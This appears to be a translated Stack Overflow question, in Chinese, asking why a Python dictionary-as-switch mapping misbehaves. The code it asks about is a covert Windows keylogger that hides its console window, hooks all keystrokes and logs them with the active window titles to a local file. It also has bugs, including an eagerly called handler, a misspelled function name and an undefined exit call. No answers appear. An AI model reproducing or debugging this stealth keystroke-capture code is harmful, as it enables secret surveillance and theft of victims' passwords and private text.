字典映射麻烦

时间:2015-12-31 17:30:27

标签: python dictionary

我使用字典映射作为case / switch语句,使用以下代码进行keyhooking

import win32api
import win32console
import win32gui
import pythoncom,pyHook



win=win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
def OnKeyboardEvent(event):
    global currentWindow
    currentWindow = event.WindowName

    keyAscii = event.Ascii
    keyAscii = {
     0 : nullKeyID(event.KeyID),
     5 : Five,
     8 : Eight,
    13 : Thirteen,
     }
    kbother = keyAscii.get(event.Ascii, otherKeys)
    kbother(chr(event.Ascii))



def nullKeyID(keyHooking):

    key = {
    160 : LSHIFT,
    161 : RSHIFT,
    162 : LCONTROL,
    163 : RCONTROL,
    }
    return key[keyHooking]


def LSHIFT(keyHooking):
    lshft = '[L.SHIFT]'
    otherKeys(lshft)

def RSHIFT(keyHooking):
    rshft = '[R.SHIFT]'
    otherKeys(rshft)

def LCONTROL(keyHooking):
    lctrl = '[L.CTRL]'
    otheryKeys(lctrl)

def RCONTROL(keyHooking):
    rctrl = '[R.CTRL]'
    otherKeys(rctrl)

def Five(keyHooking):
    _exit(1)

def Eight(keyHooking):
    bskey = '[BS]'
    otherKeys(bskey)

def Thirteen(keyHooking):
    enterkey = '[ENTER]'
    otherKeys(enterkey)

lastWindow = 'None'
def otherKeys(keyHooking):
    global currentWindow
    global lastWindow
    #open output.txt to read current keystrokes
    f=open('c:\output.txt','r+')
    buffer=f.read()
    boofer=f.read()
    f.close()
    #open output.txt to write current + new keystroke
    keylogs=keyHooking
    buffer+=keylogs
    boofer+=keylogs
    if currentWindow != lastWindow:
        with open('c:\output.txt','a') as f:    
            f.write('\n\n')
            f.write(currentWindow)
            f.write('\n')
            f.write(boofer)
            f.close()
            lastWindow = currentWindow


    elif currentWindow == lastWindow:
        with open('c:\output.txt','w') as f:
            f.write(buffer)
            f.close()



hm=pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

每当event.Ascii触发0(null)我会抓住KeyID,并将其发送到nullKeyID哪个有效...但是我按下任何其他键,它还抓取keyID因为它不在字典中..我发现它返回0,但我以为我是用下面的代码设置我自己的默认值?

kbother = keyAscii.get(event.Ascii, otherKeys)
kbother(chr(event.Ascii))

但似乎情况并非如此,是否有一项工作可以防止这种情况发生?如果可能,我想避免if/else statements

0 个答案:

没有答案
相关问题